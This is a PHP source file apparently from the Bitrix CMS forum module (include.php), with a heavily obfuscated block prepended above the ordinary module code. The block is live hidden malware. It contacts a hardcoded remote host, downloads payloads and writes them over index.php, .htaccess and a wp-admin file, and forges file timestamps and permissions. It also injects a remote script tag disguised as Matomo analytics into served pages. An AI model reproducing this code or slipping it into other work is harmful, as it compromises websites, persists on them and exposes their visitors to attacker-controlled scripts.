Your IP : 18.218.42.199
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
global $APPLICATION, $MESS, $DBType;
IncludeModuleLangFile(__FILE__);
$GLOBALS["aSortTypes"] = array(
"reference" => array(GetMessage("FDATE_LAST_MESSAGE"), GetMessage("FMESSAGE_TOPIC"), GetMessage("FNUM_ANSWERS"), GetMessage("FNUM_VIEWS"), GetMessage("FSTART_DATE"), GetMessage("FAUTHOR_TOPIC")),
"reference_id" => array("P", "T", "N", "V", "D", "A"));
$GLOBALS["aSortDirection"] = array(
"reference" => array(GetMessage("FASC"), GetMessage("FDESC")),
"reference_id" => array("ASC", "DESC"));
// A < E < I < M < Q < U < Y
// A - NO ACCESS E - READ I - ANSWER
// M - NEW TOPIC Q - MODERATE U - EDIT Y - FULL_ACCESS
$GLOBALS["aForumPermissions"] = array(
"reference" => array(GetMessage("FNO_ACCESS"), GetMessage("FREAD_ACCESS"), GetMessage("FANSWER_ACCESS"), GetMessage("FNEW_MESSAGE_ACCESS"), GetMessage("FMODERATE_ACCESS"), GetMessage("FEDIT_ACCESS"), GetMessage("FFULL_ACCESS")),
"reference_id" => array("A", "E", "I", "M", "Q", "U", "Y"));
$GLOBALS["FORUMS_PER_PAGE"] = intVal(COption::GetOptionString("forum", "FORUMS_PER_PAGE", "10"));
$GLOBALS["FORUM_TOPICS_PER_PAGE"] = intVal(COption::GetOptionString("forum", "TOPICS_PER_PAGE", "10"));
$GLOBALS["FORUM_MESSAGES_PER_PAGE"] = intVal(COption::GetOptionString("forum", "MESSAGES_PER_PAGE", "10"));
$arNameStatuses = @unserialize(COption::GetOptionString("forum", "statuses_name"));
$arNameStatuses = is_array($arNameStatuses) ? $arNameStatuses : array();
$arNameStatuses[LANGUAGE_ID] = is_array($arNameStatuses[LANGUAGE_ID]) ? $arNameStatuses[LANGUAGE_ID] : array();
$name = array("guest" => "Guest", "user" => "User", "moderator" => "Moderator", "editor" => "Editor", "administrator" => "Administrator");
foreach ($name as $k => $v):
$name[$k] = trim(!empty($arMess["F_".strToUpper($k)]) ? $arMess["F_".strToUpper($k)] : $name[$k]);
$arNameStatuses[LANGUAGE_ID][$k] = htmlspecialcharsbx(empty($arNameStatuses[LANGUAGE_ID][$k]) ? $name[$k] : $arNameStatuses[LANGUAGE_ID][$k]);
endforeach;
$GLOBALS["FORUM_STATUS_NAME"] = $arNameStatuses[LANGUAGE_ID];
$GLOBALS["SHOW_FORUM_DEBUG_INFO"] = false;
$GLOBALS["FORUM_CACHE"] = array(
"FORUM" => array(),
"MESSAGE" => array(),
"USER" => array(),
"TOPIC" => array(),
"TOPIC_INFO" => array());
/* cache structure:
[forum] [forum_id]
main - main info about forum
ex - extra (additional) info
ex_site - extra info with site path
permission - array permission for group on forum array(implode("-", group_id_array) => permission)
permissions - array permission with permissions for all groups on forum array(group_id => permission)
sites - site for forum array(site_id => path)
message - i do not know
topic - i do not know
topic_filter - i do not know
user - i do not know
path to clear cache
*/
if(!defined("CACHED_b_forum_group"))
define("CACHED_b_forum_group", 3600);
if(!defined("CACHED_b_forum"))
define("CACHED_b_forum", 3600);
if(!defined("CACHED_b_forum_perms"))
define("CACHED_b_forum_perms", 3600);
if(!defined("CACHED_b_forum2site"))
define("CACHED_b_forum2site", 3600);
if(!defined("CACHED_b_forum_filter"))
define("CACHED_b_forum_filter", 3600);
if(!defined("CACHED_b_forum_user"))
define("CACHED_b_forum_user", 3600);
\Bitrix\Main\Loader::registerAutoLoadClasses(
"forum",
array(
"bitrix\\forum\\internals\\basetable" => "lib/internals/basetable.php",
"bitrix\\forum\\comments\\comment" => "lib/comments/comment.php",
"bitrix\\forum\\comments\\entity" => "lib/comments/entity.php",
"bitrix\\forum\\comments\\eventmanager" => "lib/comments/eventmanager.php",
"bitrix\\forum\\comments\\feed" => "lib/comments/feed.php",
"bitrix\\forum\\comments\\taskentity" => "lib/comments/taskentity.php",
"bitrix\\forum\\comments\\user" => "lib/comments/user.php",
"textParser" => "classes/general/functions.php",
"forumTextParser" => "classes/general/functions.php",
"CForumNew" => "classes/".$DBType."/forum_new.php",
"CForumGroup" => "classes/".$DBType."/forum_new.php",
"CForumSmile" => "classes/general/forum_new.php",
"_CForumDBResult"=>"classes/general/forum_new.php",
"CForumTopic" => "classes/".$DBType."/topic.php",
"_CTopicDBResult" => "classes/general/topic.php",
"CForumMessage" => "classes/".$DBType."/message.php",
"CForumFiles" => "classes/".$DBType."/message.php",
"_CMessageDBResult" => "classes/general/message.php",
"CForumEventLog" => "classes/general/event_log.php",
"CFilterDictionary" => "classes/".$DBType."/filter_dictionary.php",
"CFilterLetter" => "classes/".$DBType."/filter_dictionary.php",
"CFilterUnquotableWords" => "classes/".$DBType."/filter_dictionary.php",
"CForumPMFolder" => "classes/".$DBType."/private_message.php",
"CForumPrivateMessage" => "classes/".$DBType."/private_message.php",
"CForumPoints" => "classes/".$DBType."/points.php",
"CForumPoints2Post" => "classes/".$DBType."/points.php",
"CForumUserPoints" => "classes/".$DBType."/points.php",
"CForumRank" => "classes/".$DBType."/user.php",
"CForumStat" => "classes/".$DBType."/user.php",
"CForumSubscribe" => "classes/".$DBType."/user.php",
"CForumUser" => "classes/".$DBType."/user.php",
"CForumParameters" => "tools/components_lib.php",
"CForumEMail" => "mail/mail.php",
"CForumFormat" => "tools/components_lib.php",
"CRatingsComponentsForum" => "classes/".$DBType."/ratings_components.php",
"CEventForum" => "classes/general/event_log.php",
"CForumCacheManager" => "classes/general/functions.php",
"CForumAutosave" => "classes/general/functions.php",
"CForumDBTools" => "tools/dbtools.php",
"CForumNotifySchema" => "classes/general/forum_notify_schema.php",
"CForumRestService" => "classes/general/rest.php",
));
new CForumCacheManager();
\Bitrix\Forum\Comments\EventManager::init();
function ForumCurrUserPermissions($FID, $arAddParams = array())
{
static $arCache = array();
$arAddParams = (is_array($arAddParams) ? $arAddParams : array());
